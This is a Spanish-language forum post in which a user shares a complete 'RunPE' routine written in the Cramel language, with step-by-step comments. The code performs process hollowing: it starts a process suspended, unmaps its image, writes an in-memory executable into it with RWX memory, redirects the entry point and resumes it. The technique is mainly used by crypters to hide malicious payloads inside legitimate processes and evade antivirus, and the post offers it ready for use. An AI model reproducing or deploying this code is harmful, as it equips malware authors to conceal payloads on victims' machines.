[Cramel] RunPE

Iniciado por Yuki, Julio 24, 2017, 12:44:52 AM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Hace un tiempo escribí este RunPE en Cramel, pero parece que olvide postearlo, así que acá se los dejo.

Código: php
Importar "Cramel.cml"

' -------------------------------------------------------------------------------------------
' Nombre: RunPE
' Funcionamiento: Ejecuta un archivo en memoria.
' Programador: Yuki
' Parametros:
'            Archivo - Nombre del archivo a simular.
'            pArchivo - Puntero del buffer en memoria que contiene el archivo a ejecutar.
' Retorno:
'            Ninguno.

' -------------------------------------------------------------------------------------------
Proc RunPE(Referencia Archivo:Cadena,pArchivo:Entero)
    Var i:Entero
    Var @Pidh:IMAGE_DOS_HEADER
    Var @Pinh:IMAGE_NT_HEADERS
    Var @Pish:IMAGE_SECTION_HEADER
    Var SINFO:STARTUPINFO
    Var PINFO:PROCESS_INFORMATION
    Var Ctx:CONTEXT
    ' Iniciamos variables.
    SINFO.cb = &STARTUPINFO
    Ctx.ContextFlags = CONTEXT_FULL
    ' Obtenemos la estructura IMAGE_DOS_HEADER del archivo en memoria.
    Pidh@ = pArchivo
    ' Obtenemos la estructura IMAGE_NT_HEADERS del archivo en memoria.
    Pinh@ = pArchivo + Pidh.e_lfanew
    ' Creamos un nuevo proceso suspendido.
    CreateProcess(Archivo,"",,,Falso,CREATE_SUSPENDED,0,0,SINFO,PINFO)
    ' ???
    NtUnmapViewOfSection(PINFO.hProcess,Pinh.OptionalHeader.ImageBase)
    ' Creamos un buffer en el proceso creado con el tamaño del ejecutable en memoria.
    VirtualAllocEx(PINFO.hProcess,Pinh.OptionalHeader.ImageBase,Pinh.OptionalHeader.SizeOfImage,MEM_COMMIT Or MEM_RESERVE, PAGE_EXECUTE_READWRITE)
    ' Escribimos en la memoria del proceso la cabecera del archivo en nuestra memoria.
    WriteProcessMemory(PINFO.hProcess,Pinh.OptionalHeader.ImageBase,pArchivo,Pinh.OptionalHeader.SizeOfHeaders,0)
    ' Sondeamos las secciones.
    Contar i a Pinh.FileHeader.NumberOfSections - 1
        ' Pish apunta a la información de las secciones disponibles.
        Pish@ = pArchivo + Pidh.e_lfanew + &IMAGE_NT_HEADERS + &IMAGE_SECTION_HEADER * i
        ' Escribimos los datos de las secciones.
        WriteProcessMemory(PINFO.hProcess,Pinh.OptionalHeader.ImageBase+Pish.VirtualAddress,pArchivo+Pish.PointerToRawData,Pish.SizeOfRawData,0)
    Seguir
    ' Obtenemos los valores de registros.
    GetThreadContext(PINFO.hThread,Ctx)
    ' Inicializamos los registros.
    WriteProcessMemory(PINFO.hProcess,Ctx.Ebx + 8,Pinh.OptionalHeader.ImageBase,4,0)
    Ctx.Eax = Pinh.OptionalHeader.ImageBase + Pinh.OptionalHeader.AddressOfEntryPoint
    SetThreadContext(PINFO.hThread,Ctx)
    ' Iniciamos el hilo del proceso creado.
    ResumeThread(PINFO.hThread)
FinProc


¡Saludos!